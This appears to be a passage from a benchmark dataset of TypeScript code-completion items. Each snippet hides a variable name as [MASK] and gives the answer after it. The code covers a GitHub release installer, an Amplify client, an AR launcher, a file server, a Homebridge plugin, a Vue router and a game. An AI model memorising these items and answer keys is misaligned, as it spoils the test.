        core.info(`==> Using arch: ${osArch}`)

        // Determine File Extensions (if any)
        const extMatching = core.getInput(""extension-matching"") === ""enable"";
        let extension = core.getInput(""extension"");
        let extMatchRegexForm = """";
        if (extMatching) {
            if (extension === """") {
                extMatchRegexForm = ""\.(tar.gz|zip)"";
                core.info(`==> Using default file extension matching: ${extMatchRegexForm}`);
            } else {
                extMatchRegexForm = extension;
                core.info(`==> Using custom file extension matching: ${extMatchRegexForm}`);
            }
        } else {
            core.info(""==> File extension matching disabled"");
        }

        // Determine whether renaming is in use
        let renameTo = core.getInput(""rename-to"");
        if (renameTo !== """") {
            core.info(`==> Will rename downloaded release to ${renameTo}`);
        }
        let chmodTo = core.getInput(""chmod"");
        if (chmodTo !== """") {
            core.info(`==> Will chmod downloaded release asset to ${chmodTo}`);
        }

        let toolInfo: ToolInfo = {
            owner: owner,
            project: project,
            tag: tag,
            osArch: osArch,
            osPlatform: osPlatform
        };
        
        let dest = toolPath(toolInfo);
        // If the user has specified a custom location where the binaries are in the release
        // asset, we need to use modify the default path, joining the custom folder to the
        // default path.
        let binariesLocation = core.getInput(""binaries-location"");
        let finalBinLocation = dest;
        if (binariesLocation !== """") {
            core.info(`==> Given bin location: ${binariesLocation}`);
            finalBinLocation = path.join(dest, binariesLocation);
        }
        core.info(`==> Binaries will be located at: ${finalBinLocation}`);
        // Look in the cache first.
        let cacheKey = cachePrimaryKey(toolInfo);
        if (cacheEnabled && cacheKey !== undefined) {
            let ok = await cache.restoreCache([dest], cacheKey);
            if (ok !== undefined) {
                core.info(`Found ${project} in the cache: ${dest}`)
                core.addPath(dest);
                return;
            }
        }

        let getReleaseUrl;
        if (tag === ""latest"") {
            getReleaseUrl = await octokit.rest.repos.getLatestRelease({
                owner: owner,
                repo: project,
            })
        } else {
            getReleaseUrl = await octokit.rest.repos.getReleaseByTag({
                owner: owner,
                repo: project,
                tag: tag,
            })
        }

        let osMatchRegexForm = `(${osMatch.join('|')})`
        let re = new RegExp(`${osMatchRegexForm}.*${osMatchRegexForm}.*${extMatchRegexForm}`)
        let asset = getReleaseUrl.data.assets.find(obj => {
            core.info(`searching for ${obj.name} with ${re.source}`)
            let  [MASK]  = obj.name.toLowerCase()
            return re.test( [MASK] )
        })

        if (!asset) {
            const found = getReleaseUrl.data.assets.map(f => f.name)
            throw new Error(
                `Could not find a release for ${tag}. Found: ${found}`
            )
        }

        const url = asset.url

        core.info(`Downloading ${project} from ${url}`)
        const binPath = await tc.downloadTool(url,
            undefined,
            `token ${token}`,
            {
                accept: 'application/octet-stream'
            }
        );

        const extractFn = getExtractFn(asset.name)
        if (extractFn !== undefined) {
            // Release is an archive file so extract it to the destination
            const extractFlags = getExtractFlags(asset.name)
            if (extractFlags !== undefined) {
                core.info(`Attempting to extract archive with custom flags ${extractFlags}`)
                await extractFn(binPath, dest, extractFlags);
            } else {
                await extractFn(binPath, dest);
            }
            core.info(`Automatically extracted release asset ${asset.name} to ${dest}`);

            const bins = fs.readdirSync(finalBinLocation, { withFileTypes: true })
                .filter(item => item.isFile())
                .map(bin => bin.name);
            if (bins.length === 0)
                throw new Error(`No files found in ${finalBinLocation}`);
            else if (bins.length > 1 && renameTo !== """") {
                core.warning(""rename-to parameter ignored when installing \
                a release from an archive that contains multiple files."");
            }

            if (chmodTo !== """") {
                bins.forEach(bin => {
                    const binPath = path.join(finalBinLocation, bin);
                    try {
                        fs.chmodSync(binPath, chmodTo);
                        core.info(`chmod'd ${binPath} to ${chmodTo}`)
                    } catch (chmodErr) {
                        core.setFailed(`Failed to chmod ${binPath} to ${chmodTo}: ${chmodErr}`);
                    }
                });
            }
        } else {
            // As it wasn't an archive we've just downloaded it as a blob, this uses an auto-assigned name which will
            // be a UUID which is likely meaningless to the caller.  If they have specified a rename-to and a chmod
            // parameter then this is where we apply those.
            // Regardless of any rename-to parameter we still need to move the download to the actual destination
            // otherwise it won't end up on the path as expected
            core.info(
                `Release asset ${asset.name} did not have a recognised file extension, unable to automatically extract it`)
            try {
                fs.mkdirSync(dest, { 'recursive': true });

                const outputPath = path.join(dest, renameTo !== """" ? renameTo : path.basename(binPath));
                core.info(`Created output directory ${dest}`);
                try {
                    fs.renameSync(binPath, outputPath);
                    core.info(`Moved release asset ${asset.name} to ${outputPath}`);

                    if (chmodTo !== """") {
                        try {
                            fs.chmodSync(outputPath, chmodTo);
                            core.info(`chmod'd ${outputPath} to ${chmodTo}`)
                        } catch (chmodErr) {
                            core.setFailed(`Failed to chmod ${outputPath} to ${chmodTo}: ${chmodErr}`);
                        }
                    }
                } catch (renameErr) {
                    core.setFailed(`Failed to move downloaded release asset ${asset.name} from ${binPath} to ${outputPath}: ${renameErr}`);
                }
            } catch (err) {
                core.setFailed(`Failed to create required output directory ${dest}`);
            }
        }

        if (cacheEnabled && cacheKey !== undefined) {
            try {
                await cache.saveCache([dest], cacheKey);
            } catch (error) {
                const typedError = error as Error;
                if (typedError.name === cache.ValidationError.name) {
                    throw error;
                } else if (typedError.name === cache.ReserveCacheError.name) {
                    core.info(typedError.message);
                } else {
                    core.warning(typedError.message);
                }
            }
        }

        core.info(`Adding ${finalBinLocation} to the path`);
        core.addPath(finalBinLocation);
        core.info(`Successfully installed ${project}`);
        core.info(`Binaries available at ${finalBinLocation}`);
    } catch (error) {
        if (error instanceof Error) {
            core.setFailed(error.message);
        } else {
            core.setFailed(""catastrophic failure, please file an issue"")
        }
    }
}

function cachePrimaryKey(info: ToolInfo): string | undefined {
    // Currently not caching ""latest"" versions of the tool.
    if (info.tag === ""latest"") {
        return undefined;
    }
    return ""action-install-gh-release/"" +
        `${info.owner}/${info.project}/${info.tag}/${info.osPlatform}-${info.osArch}`;
}

function toolPath(info: ToolInfo): string {
    return path.join(getCacheDirectory(),
        info.owner, info.project, info.tag,
        `${info.osPlatform}-${info.osArch}`);
}

function getCacheDirectory() {
    const cacheDirectory = process.env['RUNNER_TOOL_CACHE'] || '';
    if (cacheDirectory === '') {
        core.warning('Expected RUNNER_TOOL_CACHE to be defined');
    }
    return cacheDirectory;
}

function getExtractFn(assetName: any) {
    if (assetName.endsWith('.tar.gz') || assetName.endsWith('.tar.bz2')) {
        return tc.extractTar;
    } else if (assetName.endsWith('.zip')) {
        return tc.extractZip;
    } else {
        return undefined;
    }
}

function getExtractFlags(assetName: any) {
    if (assetName.endsWith('tar.bz2')) {
        return ""xj"";
    } else {
        return undefined;
    }
}


run();
",normalized_obj_name
296,"import { 
  AmplifyAppsResponse, 
  AmplifyBuildLogsResponse, 
  TriggerBuildRequest,
  TriggerBuildResponse 
} from '../types/amplify';

const API_BASE_URL = '/api';

export const amplifyApi = {
  /**
   * Get all Amplify apps for a specific environment
   */
  async getApps(environment: string, profile?: string): Promise<AmplifyAppsResponse> {
    const params = new URLSearchParams({ environment });
    if (profile) {
      params.append('profile', profile);
    }

    const response = await fetch(`${API_BASE_URL}/amplify/apps?${params}`);
    if (!response.ok) {
      const error = await response.text();
      throw new Error(`Failed to fetch Amplify apps: ${error}`);
    }
    return response.json();
  },

  /**
   * Get build logs for a specific job
   */
  async getBuildLogs(
    appId: string, 
    branchName: string, 
    jobId: string, 
    profile?: string
  ): Promise<AmplifyBuildLogsResponse> {
    const params = new URLSearchParams({ appId, branchName, jobId });
    if (profile) {
      params.append('profile', profile);
    }

    const response = await fetch(`${API_BASE_URL}/amplify/build-logs?${params}`);
    if (!response.ok) {
      const error = await response.text();
      throw new Error(`Failed to fetch build logs: ${error}`);
    }
    return response.json();
  },

  /**
   * Trigger a new build for a branch
   */
  async triggerBuild( [MASK] : TriggerBuildRequest): Promise<TriggerBuildResponse> {
    const response = await fetch(`${API_BASE_URL}/amplify/trigger-build`, {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
      },
      body: JSON.stringify( [MASK] ),
    });
    
    if (!response.ok) {
      const error = await response.text();
      throw new Error(`Failed to trigger build: ${error}`);
    }
    return response.json();
  },
};",request
297,"import { Analytics } from ""@plattar/plattar-analytics"";
import { Project, Scene, Server } from ""@plattar/plattar-api"";
import { Configurator } from ""@plattar/plattar-services"";
import { Util } from ""../util/util"";
import { ARViewer } from ""../viewers/ar-viewer"";
import QuicklookViewer from ""../viewers/quicklook-viewer"";
import RealityViewer from ""../viewers/reality-viewer"";
import SceneViewer from ""../viewers/scene-viewer"";
import { LauncherAR } from ""./launcher-ar"";
import { DecodedConfiguratorState, SceneProductData } from ""../util/configurator-state"";
import version from ""../version"";

export interface ConfiguratorAROptions {
    readonly state: DecodedConfiguratorState;
    readonly useARBanner: boolean;
}

/**
 * Performs AR functionality related to Plattar Scenes
 */
export class ConfiguratorAR extends LauncherAR {

    // analytics instance
    private _analytics: Analytics | null = null;
    private _options: ConfiguratorAROptions;

    // this thing controls the actual AR view
    // this is setup via .init() function
    private _ar: ARViewer | null;

    constructor(options: ConfiguratorAROptions) {
        super();

        if (!options.state) {
            throw new Error(""ConfiguratorAR.constructor(state) - state must be defined"");
        }

        this._options = options;
        this._ar = null;
    }

    private _SetupAnalytics(): void {
        const scene: Scene = this._options.state.scene;
        let analytics: Analytics | null = null;

        // setup scene stuff (if any)
        if (scene) {
            analytics = new Analytics(scene.attributes.application_id);
            analytics.origin = <any>Server.location().type;

            this._analytics = analytics;

            analytics.data.push(""type"", ""scene-ar"");
            analytics.data.push(""sdkVersion"", version);
            analytics.data.push(""sceneId"", scene.id);
            analytics.data.push(""sceneTitle"", scene.attributes.title);

            const application: Project | undefined = scene.relationships.find(Project);

            // setup application stuff (if any)
            if (application) {
                analytics.data.push(""applicationId"", application.id);
                analytics.data.push(""applicationTitle"", application.attributes.title);

                if (this._options.useARBanner) {
                    this.options.banner = {
                        title: <any>application.attributes.title,
                        subtitle: scene.attributes.title,
                        button: 'Visit'
                    }
                }
            }
        }
    }

    /**
     * Composes a Scene into an AR Model (remote operation) that can be used to launch
     * an AR File
     */
    private async _Compose(output: ""glb"" | ""usdz"" | ""vto""): Promise<string> {
        const objects: Array<SceneProductData> = this._options.state.state.array();

        if (objects.length <= 0) {
            throw new Error(""ConfiguratorAR.Compose() - cannot proceed as scene does not contain AR components"");
        }

        // define our configurator
        const configurator: Configurator = new Configurator();

        configurator.server = <any>Server.location().type;
        configurator.output = output;

        let totalARObjectCount: number = 0;

        objects.forEach((object: SceneProductData) => {
            if (object.meta_data.augment) {
                if (object.meta_data.type === ""scenemodel"") {
                    configurator.addModel(object.scene_product_id);
                }
                else {
                    configurator.addSceneProduct(object.scene_product_id, object.product_variation_id);
                }

                totalARObjectCount++;
            }
        });

        if (totalARObjectCount <= 0) {
            throw new Error(""ConfiguratorAR.Compose() - cannot proceed as scene does not contain any enabled AR components"");
        }

        const  [MASK] : any = await configurator.get();

        return  [MASK] .filename;
    }

    /**
     * Initialise the SceneAR instance. This returns a Promise that resolves
     * successfully if initialisation is successful, otherwise it will fail.
     * 
     * filure can occur for a number of reasons but it generally means that AR
     * cannot be performed.
     */
    public async init(): Promise<LauncherAR> {
        if (!Util.canAugment()) {
            throw new Error(""ConfiguratorAR.init() - cannot proceed as AR not available in context"");
        }

        const scene: Scene = this._options.state.scene;

        this._SetupAnalytics();

        const sceneOpt: any = scene.attributes.custom_json || {};

        // we need to define our AR module here
        // we are in Safari/Quicklook mode here
        if (Util.isSafari() || Util.isChromeOnIOS()) {
            // we need to launch a VTO experience here
            // VTO requires Reality Support
            if (sceneOpt.anchor === ""face"") {
                if (Util.canRealityViewer()) {
                    const modelUrl: string = await this._Compose(""vto"");

                    this._ar = new QuicklookViewer();
                    this._ar.modelUrl = modelUrl;
                    this._ar.banner = this.options.banner;

                    return this;
                }
                else {
                    throw new Error(""ConfiguratorAR.init() - cannot proceed as VTO AR requires Reality Viewer support"");
                }
            }

            // otherwise, load the USDZ stuff second if available
            if (Util.canQuicklook()) {
                const modelUrl: string = await this._Compose(""usdz"");

                this._ar = new QuicklookViewer();
                this._ar.modelUrl = modelUrl;
                this._ar.banner = this.options.banner;

                return this;
            }

            throw new Error(""ConfiguratorAR.init() - cannot proceed as IOS device does not support AR Mode"");
        }

        // check android
        if (Util.canSceneViewer()) {
            const modelUrl: string = await this._Compose(""glb"");

            const arviewer = new SceneViewer();
            arviewer.modelUrl = modelUrl;
            arviewer.isVertical = this.options.anchor === ""vertical"" ? true : false;
            arviewer.banner = this.options.banner;

            if (sceneOpt.anchor === ""vertical"") {
                arviewer.isVertical = true;
            }

            this._ar = arviewer;

            return this;
        }

        // otherwise, we didn't have AR available - it should never really reach this stage as this should be caught
        // earlier in the process
        throw new Error(""ConfiguratorAR.init() - could not initialise AR correctly, check values"");
    }

    public start(): void {
        if (!this._ar) {
            throw new Error(""SceneAR.start() - cannot proceed as AR instance is null"");
        }

        const analytics: Analytics | null = this._analytics;

        if (analytics) {
            analytics.data.push(""device"", this._ar.device);
            analytics.data.push(""eventCategory"", this._ar.nodeType);
            analytics.data.push(""eventAction"", ""Start Scene Augment"");

            analytics.write();

            analytics.startRecordEngagement();
        }

        // this was initialised via the init() function
        this._ar.start();
    }

    public canQuicklook(): boolean {
        return this._ar && this._ar.nodeType === ""Quick Look"" ? true : false;
    }

    public canRealityViewer(): boolean {
        return this._ar && this._ar.nodeType === ""Reality Viewer"" ? true : false;
    }

    public canSceneViewer(): boolean {
        return this._ar && this._ar.nodeType === ""Scene Viewer"" ? true : false;
    }
}",results
298,"import fs from 'fs';
import * as _path from 'path';
import process from 'process';

import { Meta } from './app.mjs';
import * as server from './server.mjs';

async function main(meta: Meta): Promise<void>{

  /**
   * server
   */
  const  [MASK]  = new server.Server('localhost', 8080);

  /**
   * module path
   */
  const path = process.platform == 'win32' ? _path.win32 : _path;

  /**
   * default headers
   */
  const default_headers: { [key: string]: string } = {
    'Access-Control-Allow-Origin': '*',
    'Content-Type': 'text/plain',
  };

  const ContentType: { [ext: string]: string } = JSON.parse(fs.readFileSync(path.resolve(path.dirname(toPath(new URL(import.meta.url))), 'content-type.json'), { encoding: 'utf-8' }));

  /**
   * root path
   */
  const rootpath = path.resolve(process.cwd(), meta.arguments[0] || './');

  // check root
  if(!fs.existsSync(rootpath))
    throw new Error(`root ""${rootpath}"" is not exist`);
  if(!fs.statSync(rootpath).isDirectory())
    throw new Error(`root ""${rootpath}"" is exist, but it is not directory`);
  
  async function onreq(request: server.RequestInformation): Promise<server.ResponseInformation>{
    
    const filepath = path.resolve(rootpath, request.url.pathname.replace(/^\//,''));

    let file: 'notfound' | 'directory' | 'api' | 'file' = 'file';

    let apifunc: ((request: server.RequestInformation)=>(server.ResponseInformation | Promise<server.ResponseInformation>)) | null = null;

    // check is file/directory exist
    if(!fs.existsSync(filepath) || /\/(_|\.)/.test(request.url.toString())) file = 'notfound';

    // check is it directory
    if(file == 'file' && fs.statSync(filepath).isDirectory()) file = 'directory';

    // api check
    if(file == 'notfound' && !/\/(_|\.)/.test(request.url.toString()) && /^[^\.]+$/.test(path.basename(filepath)) && fs.existsSync(filepath + '.api.mjs') && !fs.statSync(filepath + '.api.mjs').isDirectory()){
      apifunc = (await import(filepath + '.api.mjs')).main as ((request: server.RequestInformation)=>(server.ResponseInformation | Promise<server.ResponseInformation>));
      file = 'api';
    }
    
    // if file notfound
    if(file == 'notfound'){
      console.log('[notfound]', request.url.toString());
      return { body: JSON.stringify({ message: 'NOT_FOUND' }), status: 404, headers: Object.assign(default_headers, { 'Content-Type': 'text/json' }) };
    }
    
    // if file exist
    if(file == 'file'){
      const data: any = fs.readFileSync(filepath);
      const contenttype = ContentType[path.extname(filepath)] ?? 'text/plain';
      console.log(`[  file  ]`, request.url.toString(), '=>', filepath);
      return { body: data, headers: Object.assign(default_headers, { 'Content-Type': contenttype }), status: 200 };
    }

    // if api request
    if(file == 'api' && apifunc !== null){
      console.log(`[  api   ]`, request.url.toString(), '=>', `call api ""${filepath}.api.mjs""`);
      return apifunc(request);
    }

    // if directory
    if(file == 'directory'){
      const data: string = fs.readFileSync(path.resolve(path.dirname(toPath(new URL(import.meta.url))), './index.min.html'), { encoding: 'utf-8' });
      const children: { name: string, type: 'api' | 'file' | 'dir' }[] = [];
      fs.readdirSync(filepath).forEach((child: string)=>{
        if(/^(_|\.)/.test(child)) return;
        if(fs.statSync(path.resolve(filepath, child)).isDirectory()){
          children.push({ name: child, type: 'dir' });
          return;
        }
        if(/^[^\.]+\.api\.mjs$/.test(child)){
          if(fs.existsSync(path.resolve(filepath, child.replace(/\.api\.mjs$/, '')))) return;
          children.push({ name: child, type: 'api' });
          return;
        }
        children.push({ name: child, type: 'file' });
      });
      console.log(`[  dir   ]`, request.url.toString(), '=>', filepath);
      return { body: data.replace('?dirinfo?', JSON.stringify(children)), status: 200, headers: Object.assign(default_headers, { 'Content-Type': 'text/html' }) };
    }

    console.log(`[ error  ]`, request.url.toString());
    return { body: JSON.stringify({ message: 'INTERNAL_SERVER_ERROR' }), status: 500, headers: Object.assign(default_headers, { 'Content-Type': 'text/json' }) };
  };

  // server
   [MASK] .onRequest = onreq;

   [MASK] .listen();
}

function toPath(url: URL): string{
  if(process.platform == 'win32')
    return url.pathname.replace(/^\//,'');
  return url.pathname;
}

export default main;
",webServer
299,"import * as NatureRemo from 'nature-remo';
import { API, HAP, Logging, AccessoryConfig, Service, Characteristic } from 'homebridge';
import { brightnessDown, brightnessUp, LocalSignal, toggleLight } from './signals';

let hap: HAP;

/**
 * This method registers the platform with Homebridge
 */
export = (api: API) => {
  hap = api.hap;
  api.registerAccessory('MLRU1Light', MLRU1Light);
};

class MLRU1Light {
  private readonly log: Logging;
  private readonly config: AccessoryConfig;
  private readonly api: API;
  private readonly Service: typeof Service;
  private readonly Characteristic: typeof hap.Characteristic;
  private readonly natureClient?: NatureRemo.Cloud;
  private deviceData?: NatureRemo.Appliance;

  private readonly informationService: Service;
  private readonly service: Service;

  private readonly OnCharacteristic: Characteristic;
  private readonly BrightnessCharacteristic: Characteristic;

  private currentStatus = true;
  private readonly maxBrightness: number;
  private currentBrightness: number = 100;

  private readonly remoIpAddr: string | undefined;

  /**
   * REQUIRED - This is the entry point to your plugin
   */
  constructor(log, config, api) {
    this.log = log;
    this.config = config;
    this.api = api;

    this.maxBrightness = config.maxBrightness || 5;

    this.Service = this.api.hap.Service;
    this.Characteristic = this.api.hap.Characteristic;

    this.service = new hap.Service.Lightbulb(config.name);

    if (config.remoIpAddr) {
      this.log.info('Using Nature Remo\'s local API');
      this.remoIpAddr = config.remoIpAddr;
    } else if (config.accessToken) {
      this.log.info('Using Nature Remo\'s cloud API');
      this.natureClient = new NatureRemo.Cloud(config.accessToken);
      this.natureClient
        .getAppliances()
        .then((devices) => devices.find((i) => i.id === this.config.lightId))
        .then((device) => {
          if (!device) {
            throw new Error('not found device');
          }

          this.deviceData = device;
        });
    } else {
      this.log.warn('No API specified');
    }

    // create handlers for required characteristics
    this.OnCharacteristic = this.service
      .getCharacteristic(this.Characteristic.On)
      .onGet(this.handleOnGet.bind(this))
      // @ts-expect-error: ?
      .onSet(this.handleOnSet.bind(this));

    this.BrightnessCharacteristic = this.service
      .getCharacteristic(this.Characteristic.Brightness)
      .onGet(this.handleBrightnessGet.bind(this))
      // @ts-expect-error: ?
      .onSet(this.handleBrightnessSet.bind(this));

    this.informationService = new this.Service.AccessoryInformation()
      .setCharacteristic(this.Characteristic.Manufacturer, 'irisohyama.co.jp')
      .setCharacteristic(this.Characteristic.Model, 'MLRU1')
      .setCharacteristic(this.Characteristic.SerialNumber, 'ho-me-br-id-ge');
  }

  /**
   * REQUIRED - This must return an array of the services you want to expose.
   * This method must be named ""getServices"".
   */
  getServices() {
    return [this.informationService, this.service];
  }

  handleOnGet() {
    this.log.debug('handleOnGet');

    return this.currentStatus;
  }

  async handleOnSet(value: boolean) {
    if (value === this.currentStatus) {
      return;
    }

    this.log.debug('handleOnSet:', value);
    this.currentStatus = value;

    try {
      if (!value) {
        await this._toggleLight();
      }
      await this._toggleLight();
    } catch (e) {
      if (this.currentStatus === value) {
        this.currentStatus = !value;
      }
      throw e;
    }
  }

  handleBrightnessGet() {
    this.log.debug('handleBrightnessGet');

    return this.currentBrightness;
  }

  async handleBrightnessSet(value: number) {
    if (!this.currentStatus) {
      this.log.warn('handleBrightnessSet: light is off');
      return;
    }
    const prevPercent = this.currentBrightness;
    const  [MASK]  = value;

    const prevCount = this._percentToBrightness(prevPercent);
    const newCount = this._percentToBrightness( [MASK] );

    const diff = Math.abs(newCount - prevCount);
    const isBright = newCount > prevCount;
    this.log.debug('handleBrightnessSet', {
      value,
      prevCount,
      newCount,
      diff,
      isBright,
    });
    if (diff < 0) {
      return;
    }

    this.currentBrightness =  [MASK] ;
    try {
      for (let i = 0; i < diff; i++) {
        if (isBright) {
          await this._brightnessUp();
        } else {
          await this._brightnessDown();
        }
      }
    } catch (e) {
      if (this.currentBrightness ===  [MASK] ) {
        this.currentBrightness = prevPercent;
      }
      throw e;
    }
  }

  private _percentToBrightness(percent: number) {
    return Math.max(1, Math.min(this.maxBrightness, Math.ceil((this.maxBrightness / 100) * (percent + 1))));
  }

  private _getSignalId(image: string) {
    if (!this.natureClient || !this.deviceData) {
      this.log.error('natureClient is not initialized');
      return;
    }

    const signal = this.deviceData.signals.find((i) => i.image === image);
    if (!signal) {
      this.log.error('signal not found', image);
      return;
    }

    return signal.id;
  }

  private async _toggleLight() {
    this.log.debug('toggleLight');

    if (this.natureClient) {
      const signalId = this._getSignalId('ico_on');
      if (signalId) {
        await this.natureClient.sendSignal(signalId);
      }
    } else if (this.remoIpAddr) {
      await this._sendSignalToRemoLocal(toggleLight);
    } else {
      this.log.info('toggleLight');
    }
  }

  private async _brightnessUp() {
    this.log.debug('brightnessUp');

    if (this.natureClient) {
      const signalId = this._getSignalId('ico_arrow_top');
      if (signalId) {
        await this.natureClient.sendSignal(signalId);
      }
    } else if (this.remoIpAddr) {
      await this._sendSignalToRemoLocal(brightnessUp);
    } else {
      this.log.info('brightnessUp');
    }
  }

  private async _brightnessDown() {
    this.log.debug('brightnessDown');

    if (this.natureClient) {
      const signalId = this._getSignalId('ico_arrow_bottom');
      if (signalId) {
        await this.natureClient.sendSignal(signalId);
      }
    } else if (this.remoIpAddr) {
      await this._sendSignalToRemoLocal(brightnessDown);
    } else {
      this.log.info('brightnessDown');
    }
  }

  private async _sendSignalToRemoLocal(signal: LocalSignal) {
    try {
      if (!this.remoIpAddr) {
        this.log.error('remoIpAddr is not initialized');
        return;
      }
      const response = await fetch(`http://${this.remoIpAddr}/messages`, {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
          'X-Requested-With': 'homebridge-mlru1-light',
        },
        body: JSON.stringify(signal),
      });
      this.log.debug('sendSignalToRemoLocal', response.url, response.statusText, response.status);

      if (!response.ok) {
        this.log.error('failed to send signal', response.url, response.statusText, response.status);
        return;
      }

      await new Promise((resolve) => setTimeout(resolve, 500));
    } catch (e) {
      this.log.error((e as Error).message, e);
    }
  }
}
",newPercent
300,"import { createRouter, createWebHistory } from ""vue-router""
import LoginView from ""@/views/LoginView.vue""
import DirectoryView from ""@/views/DirectoryView.vue""
import DetailsView from ""@/views/DetailsView.vue""
import ManagementView from ""@/views/ManagementView.vue""

const router = createRouter({
  history: createWebHistory(import.meta.env.BASE_URL),
  routes: [
    {
      path: ""/login"",
      name: ""login"",
      component: LoginView
    },
    {
      path: ""/directory"",
      name: ""directory"",
      component: DirectoryView
    },
    {
      path: ""/details/:id"",
      name: ""details"",
      component: DetailsView
    },
    {
      path: ""/management"",
      name: ""management"",
      component: ManagementView
    },
  ],
})

router.beforeEach((to, from, next) => {
  console.log(from)
  console.log(to)
  const  [MASK]  = to.path != ""/login""
  const accessToken = localStorage.getItem(""accessToken"")
  if ( [MASK]  && (accessToken == null || accessToken == undefined)) {
    return next(""/login"")
  } else if (to.path == ""/"") {
    return next(""/directory"")
  }
  next()
})

export default router
",authRequired
301,"class Main extends egret.DisplayObjectContainer {

    public constructor() {
        super();
        this.addEventListener(egret.Event.ADDED_TO_STAGE, this.onAddToStage, this);
    }

    private onAddToStage(event: egret.Event) {

        // egret.lifecycle.addLifecycleListener((context) => {
        //     // custom lifecycle plugin

        //     context.onUpdate = () => {

        //     }
        // })

        // egret.lifecycle.onPause = () => {
        //     egret.ticker.pause();
        // }

        // egret.lifecycle.onResume = () => {
        //     egret.ticker.resume();
        // }

        this.runGame().catch(e => {
            console.log(e);
        })



    }

    private async runGame() {
        window[""gameBoard""] = this;
        window[""canvasReady""]();
    }

    // private async loadResource() {
    //     try {
    //         const loadingView = new LoadingUI();
    //         this.stage.addChild(loadingView);
    //         await RES.loadConfig(""resource/default.res.json"", ""resource/"");
    //         await RES.loadGroup(""preload"", 0, loadingView);
    //         this.stage.removeChild(loadingView);
    //     }
    //     catch (e) {
    //         console.error(e);
    //     }
    // }

    // private textfield: egret.TextField;

    /**
     * 创建游戏场景
     * Create a game scene
     */
    private childrenList = [];
    private playerList = [];
    private canvasParam;
    public createGameScene(canvasParam) {
        // 棋盘生成
        this.canvasParam = canvasParam;
        var p = canvasParam.blockWdith;
        for (var i = 0; i < canvasParam.blockNum+1; i++) {

            for (var j = 0; j < canvasParam.blockNum+1; j++) {
                if (i < canvasParam.blockNum) {
                    var hline = new Line(i, j, p, canvasParam.lineWidth, ""hLine"", canvasParam);
                    this.addChild(hline);
                    hline.x = 10 + p * i + p / 2;
                    hline.y = 10 + p * j;
                    this.childrenList.push(hline);
                    if (j == 0 || j == canvasParam.blockNum) {
                        hline.touched = true;
                    }
                }
                if (j < canvasParam.blockNum) {
                    var vline = new Line(i, j, canvasParam.lineWidth, p, ""vLine"", canvasParam);
                    this.addChild(vline);
                    vline.x = 10 + p * i;
                    vline.y = 10 + p * j + p / 2;
                    this.childrenList.push(vline);
                    if (i == 0 || i == canvasParam.blockNum) {
                        vline.touched = true;
                    }
                }
            }
        }
        //玩家生成
        for (var i = 0; i < canvasParam.playerNum; i++) {
            var player = new Player(canvasParam.blockWdith / 2 * 0.8, i, canvasParam);
            this.addChild(player);
            this.playerList[i] = player;
            if (i == 0)
                // player.setPosition(canvasParam.blockWdith, 4, 0);
                this.setPLayerPosition(i, Math.floor(canvasParam.blockNum/2), 0)
            if (i == 1)
                this.setPLayerPosition(i, Math.floor(canvasParam.blockNum/2), canvasParam.blockNum-1)
            // player.setPosition(canvasParam.blockWdith, 4, 8);
            if (i == 2)
                this.setPLayerPosition(i, 0, Math.floor(canvasParam.blockNum/2))
            // player.setPosition(canvasParam.blockWdith, 0, 4);
            if (i == 3)
                this.setPLayerPosition(i, canvasParam.blockNum-1, Math.floor(canvasParam.blockNum/2))
            // player.setPosition(canvasParam.blockWdith, 8, 4);
        }
        return this.playerList;
    }
    private blockPosition = function (gx, gy) {
        return [
            this.canvasParam.blockWdith * (gx + 0.5) + 10,
            this.canvasParam.blockWdith * (gy + 0.5) + 10,
        ]
    };
    private touchList = [];
    public startTouch(playerIndex,wall) {
        // 重置触摸参数
        this.touchList = [];
        for (var i in this.childrenList) {
            this.childrenList[i].touchEnabled = (wall)?true:false;
        }
        for (var i in this.playerList) {
            this.playerList[i].touchEnabled = (i == playerIndex);
        }

        // 开始触摸
        // 触摸的线上下或左右可以触摸，其他不能触摸
        var touchType;
        this.touchEnabled = false;
        var touchStart = function (e) {
            touchType = e.target.name;
            console.log(touchType);
            if (touchType == ""Line"") {
                if (e.target.touched) {//已经放置墙的不能再次被触摸
                    return
                }
                this.touchList.push(e.target);
                if (e.target.onTouch && !e.target.touched) {
                    e.target.onTouch();
                    for (var i in this.childrenList) {
                        this.childrenList[i].touchEnabled = false;
                        if (this.childrenList[i].gtype == e.target.gtype) {
                            if (e.target.gtype == 'hLine') {

                                if (this.childrenList[i].gy == e.target.gy && (this.childrenList[i].gx == e.target.gx + 1 || this.childrenList[i].gx == e.target.gx - 1)) {
                                    this.childrenList[i].touchEnabled = true
                                }
                            }
                            if (e.target.gtype == 'vLine') {
                                if (this.childrenList[i].gx == e.target.gx && (this.childrenList[i].gy == e.target.gy + 1 || this.childrenList[i].gy == e.target.gy - 1)) {
                                    this.childrenList[i].touchEnabled = true
                                }
                            }
                        }
                        e.target.touchEnabled = true;
                    }
                }
                return;
            }
            if (touchType == ""player"") {
                this.touchEnabled = true;
                for (var i in this.childrenList) {
                    this.childrenList[i].touchEnabled = false;
                }
            }
        }
        // 触摸移动
        var touchMove = function (e) {
            if (touchType == ""Line"") {
                if (this.touchList.length == 2 && e.target != this.touchList[1]) {
                    this.touchList[1].endTouch();
                    this.touchList.pop();
                    return;
                }
                if (this.touchList.length != 1 || e.target == this.touchList[0]) return //第一段触摸失败直接返回
                if (!e.target.touched) {
                    this.touchList.push(e.target);
                    if (e.target.onTouch) {
                        e.target.onTouch();
                    }
                }
            }
            if (touchType == ""player"") {
                var player = this.playerList[playerIndex];
                player.x = e.stageX;
                player.y = e.stageY;

                var canvasParam = this.canvasParam;
                var setP = function (blockPosition) {
                    // console.log(""this.canvasParam"",canvasParam);
                    if (Math.abs(player.x - blockPosition[0]) < canvasParam.blockWdith * 0.3
                        && Math.abs(player.y - blockPosition[1]) < canvasParam.blockWdith * 0.3
                    ) {
                        player.x = blockPosition[0];
                        player.y = blockPosition[1];
                    }
                }

                for(var i = 0;i<this.canvasParam.blockNum;i++){
                    for(var j = 0;j<this.canvasParam.blockNum;j++){
                        setP(this.blockPosition(i,j));
                    }
                }
            }
        }
        // 触摸结束
        // 触摸结果如果符合规则，则传回游戏；不符合则取消触摸信息
        var self = this;
        var touchEnd = function (e) {
            var  [MASK]  = this.touchList;
            if (touchType == ""Line"") {
                //结果返回逻辑层
                for (var i in this.touchList) {
                    if (this.touchList[i].endTouch)
                        this.touchList[i].endTouch();
                }

                // this.touchList = [];
                // for (var i in this.childrenList) {
                //     this.childrenList[i].touchEnabled = true;
